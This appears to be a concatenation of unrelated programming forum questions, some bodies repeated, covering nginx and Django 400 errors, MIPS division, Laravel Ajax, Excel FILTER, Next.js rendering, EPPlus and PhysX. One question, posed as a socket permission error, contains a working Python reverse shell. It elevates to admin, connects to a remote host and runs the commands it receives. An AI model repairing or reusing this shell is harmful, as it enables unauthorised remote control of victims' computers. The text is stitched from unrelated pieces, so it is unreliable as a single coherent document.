```<code>2022/12/21 15:28:20 [notice] 8#8: using the "epoll" event method
2022/12/21 15:28:20 [notice] 8#8: nginx/1.23.3
2022/12/21 15:28:20 [notice] 8#8: built by gcc 12.2.1 20220924 (Alpine 12.2.1_git20220924-r4)
2022/12/21 15:28:20 [notice] 8#8: OS: Linux 5.15.0-56-generic
2022/12/21 15:28:20 [notice] 8#8: getrlimit(RLIMIT_NOFILE): 1048576:1048576
2022/12/21 15:28:20 [notice] 8#8: start worker processes
2022/12/21 15:28:20 [notice] 8#8: start worker process 9
2022/12/21 15:28:20 [notice] 8#8: start worker process 10
2022/12/21 15:28:20 [notice] 8#8: start worker process 11
2022/12/21 15:28:20 [notice] 8#8: start worker process 12
2022/12/21 15:28:20 [notice] 8#8: start worker process 13
2022/12/21 15:28:20 [notice] 8#8: start worker process 14
2022/12/21 15:28:20 [notice] 8#8: start worker process 15
2022/12/21 15:28:20 [notice] 8#8: start worker process 16
{"time_local":"","remote_addr":"","remote_user":"","request":"","status": "","body_bytes_sent":"","http_referrer":"","http_user_agent":"","request_time":""}
{"time_local":"","remote_addr":"","remote_user":"","request":"","status": "","body_bytes_sent":"","http_referrer":"","http_user_agent":"","request_time":""}
{"time_local":"","remote_addr":"","remote_user":"","request":"","status": "","body_bytes_sent":"","http_referrer":"","http_user_agent":"","request_time":""}
{"time_local":"","remote_addr":"","remote_user":"","request":"","status": "","body_bytes_sent":"","http_referrer":"","http_user_agent":"","request_time":""}
{"time_local":"","remote_addr":"","remote_user":"","request":"","status": "","body_bytes_sent":"","http_referrer":"","http_user_agent":"","request_time":""}
{"time_local":"","remote_addr":"","remote_user":"","request":"","status": "","body_bytes_sent":"","http_referrer":"","http_user_agent":"","request_time":""}

</code>```

I don't know what is going wrong when I want to access my backend.

Body:
I am new with nginx and trying to understand how its works.
I build and dockerize a website using react for the frontend and django for backend and serving both react and django api with nginx.
But when I reach localhost in the browser, which should serve react app, everything works well. The problem appears when I want to access for example localhost/docs or localhost/admin which should be serve by gunicorn and django. I always obtain bad request (400)

In my settings.py I have

ALLOWED_HOSTS = []
ALLOWED_HOSTS.extend(
    filter(
        None,
        os.environ.get('ALLOWED_HOSTS', '').split(' '),
    )
)

STATIC_URL = '/static/static/'
MEDIA_URL = '/static/media/'

MEDIA_ROOT = '/vol/web/mediafiles'
STATIC_ROOT = '/vol/web/staticfiles'

my .env file

DB_NAME=dbname
DB_USER=rootuser
DB_PASS=dbpassword
DJANGO_SECRET_KEY=secretkey_for_production_environment
DJANGO_ALLOWED_HOSTS=localhost

Here is docker-compose-prod.yml file

version: "3.9"

services:
  db:
    image: postgres:13-alpine
    container_name: db-prod-c
    restart: always
    volumes:
      - db-prod:/var/lib/postgresql/data
    environment:
      - POSTGRES_DB=${DB_NAME}
      - POSTGRES_USER=${DB_USER}
      - POSTGRES_PASSWORD=${DB_PASS}

  backend:
    build:
      context: ./backend
      dockerfile: Dockerfile.prod
    #restart: always
    image: api-prod-i:django-prod
    container_name: api-prod-c
    user: root
    volumes:
      - mediafiles:/vol/web/mediafiles
      - staticfiles:/vol/web/staticfiles
    environment:
      - DB_HOST=db
      - DB_NAME=${DB_NAME}
      - DB_USER=${DB_USER}
      - DB_PASS=${DB_PASS}
      - SECRET_KEY=${DJANGO_SECRET_KEY}
      - ALLOWED_HOSTS=${DJANGO_ALLOWED_HOSTS}
    expose:
      - 8000
    depends_on:
      - db
    # networks:
    #   - django-network

  frontend:
    build:
      context: ./frontend
      dockerfile: Dockerfile
    #restart: always
    image: client-prod-i:django-prod
    container_name: client-prod-c
    volumes:
      - react-build:/frontend/build
    depends_on:
      - backend

  proxy:
    build:
      context: ./webserver
      dockerfile: Dockerfile
    image: proxy-i
    container_name: proxy-c
    #restart: always
    ports:
      - 80:80
    volumes:
      - staticfiles:/webserver/staticfiles
      - mediafiles:/webserver/mediafiles
      - react-build:/webserver/buildfiles
    depends_on:
      - backend
      - frontend
    # networks:
    #   - django-network

# networks:
#   django-network:
#     name: django-network

volumes:
  db-prod:
  react-build:
  staticfiles:
  mediafiles:

The configuration of nginx

upstream django {
    server backend:8000;
}

log_format custom_json escape=json
    '{'
        '"time_local":"$time_local",'
        '"remote_addr":"$remote_addr",'
        '"remote_user":"$remote_user",'
        '"request":"$request",'
        '"status": "$status",'
        '"body_bytes_sent":"$body_bytes_sent",'
        '"http_referrer":"$http_referer",'
        '"http_user_agent":"$http_user_agent",'
        '"request_time":"$request_time"'
    '}';

server {
    listen 80;

    large_client_header_buffers 4 16k;

    access_log /var/log/nginx/access.log custom_json;

    error_log /var/log/nginx/error.log debug;

    #error_log /var/log/nginx/error.log.info info;
    #error_log /var/log/nginx/error.log.crit crit;
    #error_log /var/log/nginx/error.log.warn warn;
    #error_log /var/log/nginx/error.log.error error;
    #error_log /var/log/nginx/error.log.alert alert;
    #error_log /var/log/nginx/error.log.notice notice;
    #error_log /var/log/nginx/error.log.emerg emerg;

    location / {
        root /webserver/buildfiles;
    }

    location /static/static/ {
        alias /webserver/staticfiles/;
    }

    location /static/media/ {
        alias /webserver/mediafiles/;
    }

    location /api {
        proxy_pass http://django;
    }

    location /admin/ {
        proxy_pass http://django;
    }

    location /docs {
        proxy_pass http://django;
    }
}

When I deploy with docker-compose everything works well as follow

api-prod-c      sh entrypoint.sh                 Up       8000/tcp
client-prod-c   docker-entrypoint.sh npm r ...   Exit 0
db-prod-c       docker-entrypoint.sh postgres    Up       5432/tcp
proxy-c         /docker-entrypoint.sh /run.sh    Up       0.0.0.0:80->80/tcp,:::80->80/tcp, 8080/tcp

I tried to change
DJANGO_ALLOWED_HOST=localhost
in .env file to
DJANGO_ALLOWED_HOST=backend since backend is the service name of my django container which is used in upstream, but still getting bad request (400)

I tried to log nginx error_log and obtain the following

2022/12/21 15:28:20 [notice] 8#8: using the "epoll" event method
2022/12/21 15:28:20 [notice] 8#8: nginx/1.23.3
2022/12/21 15:28:20 [notice] 8#8: built by gcc 12.2.1 20220924 (Alpine 12.2.1_git20220924-r4)
2022/12/21 15:28:20 [notice] 8#8: OS: Linux 5.15.0-56-generic
2022/12/21 15:28:20 [notice] 8#8: getrlimit(RLIMIT_NOFILE): 1048576:1048576
2022/12/21 15:28:20 [notice] 8#8: start worker processes
2022/12/21 15:28:20 [notice] 8#8: start worker process 9
2022/12/21 15:28:20 [notice] 8#8: start worker process 10
2022/12/21 15:28:20 [notice] 8#8: start worker process 11
2022/12/21 15:28:20 [notice] 8#8: start worker process 12
2022/12/21 15:28:20 [notice] 8#8: start worker process 13
2022/12/21 15:28:20 [notice] 8#8: start worker process 14
2022/12/21 15:28:20 [notice] 8#8: start worker process 15
2022/12/21 15:28:20 [notice] 8#8: start worker process 16
{"time_local":"","remote_addr":"","remote_user":"","request":"","status": "","body_bytes_sent":"","http_referrer":"","http_user_agent":"","request_time":""}
{"time_local":"","remote_addr":"","remote_user":"","request":"","status": "","body_bytes_sent":"","http_referrer":"","http_user_agent":"","request_time":""}
{"time_local":"","remote_addr":"","remote_user":"","request":"","status": "","body_bytes_sent":"","http_referrer":"","http_user_agent":"","request_time":""}
{"time_local":"","remote_addr":"","remote_user":"","request":"","status": "","body_bytes_sent":"","http_referrer":"","http_user_agent":"","request_time":""}
{"time_local":"","remote_addr":"","remote_user":"","request":"","status": "","body_bytes_sent":"","http_referrer":"","http_user_agent":"","request_time":""}
{"time_local":"","remote_addr":"","remote_user":"","request":"","status": "","body_bytes_sent":"","http_referrer":"","http_user_agent":"","request_time":""}

I don't know what is going wrong when I want to access my backend.


问:
Implement IEE754 division in MIPS
I am trying to implement a floating point division in MIPS (without FPU).  I have tried to following this instruction
But i have no idea how to divide the mantissa (at step 3).

After hours of searching, i found this topic MIPS: Division algorithm (Dividing significands of IEEE-754 format) gives incorrect answer for the last 4-5 bits (LSB)
But when i try to run his code (changed SRL divisor to SLL remainder according to the first reply), it still give wrong result sometime at the last 1-2 bit. Can anyone help me

Title: Implement IEE754 division in MIPS


问:
integrating MITO or bamboolib
i would like to integrate MITO or bamboolib in my application (c# or Node).

Documentation mentions it only runs in Classic Jupyter Notebooks and JupyterLab.
any idea of a standard way to do it?

Title: integrating MITO or bamboolib


问:
Question about unity occlusion culling not working properly
I am currently using occlusion culling in Unity 3D. However, I didn't like the current map size, so when I increased the scale by 1.5 times, the following phenomenon did not work normally.
enter image description here
(this is the working version)
enter image description here
(this is the not working version)

I fixed it by reverting the scale back to the previous version, but the question still remains. Why did this happen?


问:
ajax query in laravel never returns result, possible MethodNotAllowedHttpException issue
I have a web application running laravel 5.0.33 on Linux RHEL 7.9, with PHP 5.4.16.  It uses Javascript and Ajax to download data from mysql.  It has always worked fine until two days ago, when download attempts suddenly started hanging indefinitely, even though I hadn't touched any code.

I investigated, and found that it makes an Ajax call as follows:

var url = APP_URL+'/datatables/'+table_id+'/query';
$.ajax(url, {
    method: 'POST',
    data: {"query": query_str},
    dataType: 'json',
}).done(function (data) {
    // do some stuff here that I commented out
});
```
<p>When I tried pasting the generated URL into a browser, I got a message saying 'MethodNotAllowedHttpException in RouteCollection.php line 207.'  The stack trace was as follows:</p>
```in RouteCollection.php line 207
at RouteCollection->methodNotAllowed(array('POST')) in RouteCollection.php line 194
at RouteCollection->getRouteForMethods(object(Request), array('POST')) in RouteCollection.php line 142
at RouteCollection->match(object(Request)) in Router.php line 729
at Router->findRoute(object(Request)) in Router.php line 652
at Router->dispatchToRoute(object(Request)) in Router.php line 628
at Router->dispatch(object(Request)) in Kernel.php line 214
at Kernel->Illuminate\Foundation\Http\{closure}(object(Request))
at call_user_func(object(Closure), object(Request)) in Pipeline.php line 141
at Pipeline->Illuminate\Pipeline\{closure}(object(Request)) in VerifyCsrfTokenWithExcludedRoutes.php line 32
at VerifyCsrfTokenWithExcludedRoutes->handle(object(Request), object(Closure)) in Pipeline.php line 125
at Pipeline->Illuminate\Pipeline\{closure}(object(Request)) in ShareErrorsFromSession.php line 55
at ShareErrorsFromSession->handle(object(Request), object(Closure)) in Pipeline.php line 125
at Pipeline->Illuminate\Pipeline\{closure}(object(Request)) in StartSession.php line 61
at StartSession->handle(object(Request), object(Closure)) in Pipeline.php line 125
at Pipeline->Illuminate\Pipeline\{closure}(object(Request)) in AddQueuedCookiesToResponse.php line 36
at AddQueuedCookiesToResponse->handle(object(Request), object(Closure)) in Pipeline.php line 125
at Pipeline->Illuminate\Pipeline\{closure}(object(Request)) in EncryptCookies.php line 40
at EncryptCookies->handle(object(Request), object(Closure)) in Pipeline.php line 125
at Pipeline->Illuminate\Pipeline\{closure}(object(Request)) in CheckForMaintenanceMode.php line 42
at CheckForMaintenanceMode->handle(object(Request), object(Closure)) in Pipeline.php line 125
at Pipeline->Illuminate\Pipeline\{closure}(object(Request))
at call_user_func(object(Closure), object(Request)) in Pipeline.php line 101
at Pipeline->then(object(Closure)) in Kernel.php line 115
at Kernel->sendRequestThroughRouter(object(Request)) in Kernel.php line 84
at Kernel->handle(object(Request)) in index.php line 53
```

However, artisan route:list tells me that POST is fine for this route:

POST | datatables/{datatables}/query | query.create | App\Http\Controllers\Datazoo\DatatableQueryDatazooController@query    <

Does anyone have any idea what might be happening?

Body:
I have a web application running laravel 5.0.33 on Linux RHEL 7.9, with PHP 5.4.16.  It uses Javascript and Ajax to download data from mysql.  It has always worked fine until two days ago, when download attempts suddenly started hanging indefinitely, even though I hadn't touched any code.

I investigated, and found that it makes an Ajax call as follows:

var url = APP_URL+'/datatables/'+table_id+'/query';
$.ajax(url, {
    method: 'POST',
    data: {"query": query_str},
    dataType: 'json',
}).done(function (data) {
    // do some stuff here that I commented out
});

When I tried pasting the generated URL into a browser, I got a message saying 'MethodNotAllowedHttpException in RouteCollection.php line 207.'  The stack trace was as follows:

in RouteCollection.php line 207
at RouteCollection->methodNotAllowed(array('POST')) in RouteCollection.php line 194
at RouteCollection->getRouteForMethods(object(Request), array('POST')) in RouteCollection.php line 142
at RouteCollection->match(object(Request)) in Router.php line 729
at Router->findRoute(object(Request)) in Router.php line 652
at Router->dispatchToRoute(object(Request)) in Router.php line 628
at Router->dispatch(object(Request)) in Kernel.php line 214
at Kernel->Illuminate\Foundation\Http\{closure}(object(Request))
at call_user_func(object(Closure), object(Request)) in Pipeline.php line 141
at Pipeline->Illuminate\Pipeline\{closure}(object(Request)) in VerifyCsrfTokenWithExcludedRoutes.php line 32
at VerifyCsrfTokenWithExcludedRoutes->handle(object(Request), object(Closure)) in Pipeline.php line 125
at Pipeline->Illuminate\Pipeline\{closure}(object(Request)) in ShareErrorsFromSession.php line 55
at ShareErrorsFromSession->handle(object(Request), object(Closure)) in Pipeline.php line 125
at Pipeline->Illuminate\Pipeline\{closure}(object(Request)) in StartSession.php line 61
at StartSession->handle(object(Request), object(Closure)) in Pipeline.php line 125
at Pipeline->Illuminate\Pipeline\{closure}(object(Request)) in AddQueuedCookiesToResponse.php line 36
at AddQueuedCookiesToResponse->handle(object(Request), object(Closure)) in Pipeline.php line 125
at Pipeline->Illuminate\Pipeline\{closure}(object(Request)) in EncryptCookies.php line 40
at EncryptCookies->handle(object(Request), object(Closure)) in Pipeline.php line 125
at Pipeline->Illuminate\Pipeline\{closure}(object(Request)) in CheckForMaintenanceMode.php line 42
at CheckForMaintenanceMode->handle(object(Request), object(Closure)) in Pipeline.php line 125
at Pipeline->Illuminate\Pipeline\{closure}(object(Request))
at call_user_func(object(Closure), object(Request)) in Pipeline.php line 101
at Pipeline->then(object(Closure)) in Kernel.php line 115
at Kernel->sendRequestThroughRouter(object(Request)) in Kernel.php line 84
at Kernel->handle(object(Request)) in index.php line 53

However, artisan route:list tells me that POST is fine for this route:

POST | datatables/{datatables}/query | query.create | App\Http\Controllers\Datazoo\DatatableQueryDatazooController@query    <

Does anyone have any idea what might be happening?


问:
Excel #VALUE! with FILTER and IF 255 character limit
When using below code in my equation bar I can see the filtered data from Sheet1 in Sheet2 (overview sheet). All works well, but if the character limit in i.e. Sheet1 cell C30 is >255 characters then I see #VALUE! in the Sheet2 (overview sheet). I would like to know how to ammend this so I see the full text.

I do not use VBA and I do not wish to use this. Just the simple equation box.

```<code>=FILTER(IF(Sheet1!A16:K332="","",Sheet1!A16:K332),(Sheet1!K16:K332="Open")+(Sheet1!K16:K332="Feedback")+(Sheet1!K16:K332="Pending"))
</code>```

Thanks.

As above and not sure how to fix.

Body:
When using below code in my equation bar I can see the filtered data from Sheet1 in Sheet2 (overview sheet). All works well, but if the character limit in i.e. Sheet1 cell C30 is >255 characters then I see #VALUE! in the Sheet2 (overview sheet). I would like to know how to ammend this so I see the full text.

I do not use VBA and I do not wish to use this. Just the simple equation box.

=FILTER(IF(Sheet1!A16:K332="","",Sheet1!A16:K332),(Sheet1!K16:K332="Open")+(Sheet1!K16:K332="Feedback")+(Sheet1!K16:K332="Pending"))

Thanks.

As above and not sure how to fix.


问:
Question on Why Page UI Does Not Render Based on Injected Props Returned From GetServerSideProps
I was playing around with SSR(Server-Side Rendering) a page and the page component's UI should be list of div elements returned as UI since I map over the news prop injected from the returned "props" mapped value from getServerSideProps function. I make sure to export both the page functional component as well as the getServerSideProps function. I make request to an api endpoint and embed the logic in the getServerSideProps function so the page UI reflects most up-to-date data  on every request. However, I only see the  element and not the divs underneath.

I made sure that the api endpoint was still up and running and it was. On every refresh, I saw that getServerSideProps() function gets called as expected. Also, I printed out the "json-formatted" data I fetched from api endpoint and it was what I expected. Here is the code below.

index.js file:

```<code>export default function NewsList({news}) {
    return (
        <>
            <h1>List of news!</h1>
            {news.map(n => { return
                (<div key = {n.id}>
                    <p>News title: {n.title}</p>
                    <p>News category: {n.category}</p>
                </div>);}
                )}
        </>
    );
}
//next JS will invoke this function every time this page initially loads or refreshes to get fresh data!
export async function getServerSideProps() {
    console.log("fetching data on client request!")
    const resp = await fetch("http://localhost:5000/news");
    const data = await resp.json();
    console.log(data);
    return {
        props: {
            news: data
        }
    }
}

</code>```

db.json(file that has data about news)

```<code>{
  "products": [
    {
        "id": 1,
        "title": "Product 1",
        "price": 1000,
        "description": "Description 1"
    },
    {
        "id": 2,
        "title": "Product 2",
        "price": 2000,
        "description": "Description 2"
    },
    {
        "id": 3,
        "title": "Product 3",
        "price": 2500,
        "description": "Description 3"
    }
  ],
  "news": [
    {
      "id": 1,
      "title": "News Article 1",
      "description": "Description of news 1",
      "category": "sports"
    },
    {
      "id": 2,
      "title": "News Article 2",
      "description": "Description of news 2",
      "category": "foreign"
    },
    {
      "id": 3,
      "title": "News Article 3",
      "description": "Description of news 3",
      "category": "stocks"
    }
  ]
}
</code>```

Body:
I was playing around with SSR(Server-Side Rendering) a page and the page component's UI should be list of div elements returned as UI since I map over the news prop injected from the returned "props" mapped value from getServerSideProps function. I make sure to export both the page functional component as well as the getServerSideProps function. I make request to an api endpoint and embed the logic in the getServerSideProps function so the page UI reflects most up-to-date data  on every request. However, I only see the  element and not the divs underneath.

I made sure that the api endpoint was still up and running and it was. On every refresh, I saw that getServerSideProps() function gets called as expected. Also, I printed out the "json-formatted" data I fetched from api endpoint and it was what I expected. Here is the code below.

index.js file:

export default function NewsList({news}) {
    return (
        <>

List of news!

            {news.map(n => { return
                (

News title: {n.title}

News category: {n.category}

);}
                )}
        </>
    );
}
//next JS will invoke this function every time this page initially loads or refreshes to get fresh data!
export async function getServerSideProps() {
    console.log("fetching data on client request!")
    const resp = await fetch("http://localhost:5000/news");
    const data = await resp.json();
    console.log(data);
    return {
        props: {
            news: data
        }
    }
}

db.json(file that has data about news)

{
  "products": [
    {
        "id": 1,
        "title": "Product 1",
        "price": 1000,
        "description": "Description 1"
    },
    {
        "id": 2,
        "title": "Product 2",
        "price": 2000,
        "description": "Description 2"
    },
    {
        "id": 3,
        "title": "Product 3",
        "price": 2500,
        "description": "Description 3"
    }
  ],
  "news": [
    {
      "id": 1,
      "title": "News Article 1",
      "description": "Description of news 1",
      "category": "sports"
    },
    {
      "id": 2,
      "title": "News Article 2",
      "description": "Description of news 2",
      "category": "foreign"
    },
    {
      "id": 3,
      "title": "News Article 3",
      "description": "Description of news 3",
      "category": "stocks"
    }
  ]
}


问:
PermissionError: [WinError 10013] An attempt was made to access a socket in a way forbidden by its access permissions
Whenever I try to run my code, it gives me an error:

PermissionError: [WinError 10013] An attempt was made to access a socket in a way forbidden by its access permissions

Here's my code:

import os
import socket
import subprocess
import ctypes, sys

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

if is_admin():
    pass
else:
    # Re-run the program with admin rights
    ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
host='10.0.0.7'
port=4482
s=socket.socket()
s.connect((host,port))

while True:
    data=s.recv(1024)
    if data[:2].decode('utf-8')=='cd':
        os.chdir(data[3:].decode('utf-8'))
    if len(data)>0:
        cmd=subprocess.Popen(data.decode('utf-8'),shell=False,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
        output_bytes=cmd.stdout.read()+cmd.stderr.read()
        output_str=str(output_bytes)
        s.send(str.encode(output_str + str(os.getcwd())) +'>')
#Close Connection
s.close()
```

The code should run smoothly without any issues, and connect to the socket server. The script is also checking for administrator permissions in order to run as expected. But still, it is giving an error. I ran out of ideas and tried to research this issue, but couldn't get an answer that fixes the problem.

Body:
Whenever I try to run my code, it gives me an error:

PermissionError: [WinError 10013] An attempt was made to access a socket in a way forbidden by its access permissions

Here's my code:

import os
import socket
import subprocess
import ctypes, sys

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

if is_admin():
    pass
else:
    # Re-run the program with admin rights
    ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
host='10.0.0.7'
port=4482
s=socket.socket()
s.connect((host,port))

while True:
    data=s.recv(1024)
    if data[:2].decode('utf-8')=='cd':
        os.chdir(data[3:].decode('utf-8'))
    if len(data)>0:
        cmd=subprocess.Popen(data.decode('utf-8'),shell=False,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
        output_bytes=cmd.stdout.read()+cmd.stderr.read()
        output_str=str(output_bytes)
        s.send(str.encode(output_str + str(os.getcwd())) +'>')
#Close Connection
s.close()

The code should run smoothly without any issues, and connect to the socket server. The script is also checking for administrator permissions in order to run as expected. But still, it is giving an error. I ran out of ideas and tried to research this issue, but couldn't get an answer that fixes the problem.


问:
how do I save an excel file with eeplus?
I am trying to create and excel file using .NET Console App C#. Im using OfficeOpenXML (EPPLUS) but every time I tried to save it it raise an error

ERROR
"IBM437 is not supported encoding name"

So this is the code I wrote

```<code>var workbook = new ExcelPackage();

ExcelWorksheet worksheet = workbook.Workbook.Worksheets.Add("PM Bonus");
worksheet.View.FreezePanes(-1, 5);

SetExcelReportHeaders(worksheet);
SetReportExcelData(worksheet);

workbook.Save("C:/Users/user/Desktop/Freeze or Split Panes.xlsx");
</code>```

What am I doing wrong?

Body:
I am trying to create and excel file using .NET Console App C#. Im using OfficeOpenXML (EPPLUS) but every time I tried to save it it raise an error

ERROR
"IBM437 is not supported encoding name"

So this is the code I wrote

var workbook = new ExcelPackage();

ExcelWorksheet worksheet = workbook.Workbook.Worksheets.Add("PM Bonus");
worksheet.View.FreezePanes(-1, 5);

SetExcelReportHeaders(worksheet);
SetReportExcelData(worksheet);

workbook.Save("C:/Users/user/Desktop/Freeze or Split Panes.xlsx");

What am I doing wrong?


问:
In Nvidia physX Engine 3.4, is PxRigidActor.attachShape thread safe?
I'm trying to create multiple physx scenes with same colliders, and i want to use shared shapes to minimize the memory usage and mesh baking time at creation.

I created some shared PxShape (with isExclusive=false in PxPhysics.createShape), after that I need to create actors with these shapes for different scenes from different threads, it seems that the only data shared among threads are these 'shared shapes', is it thread safe to call PxRigidActor.attachShape for different scene actors?

apparently lock before creation of every creation of the actor is ok, I'm wondering is it neccesery?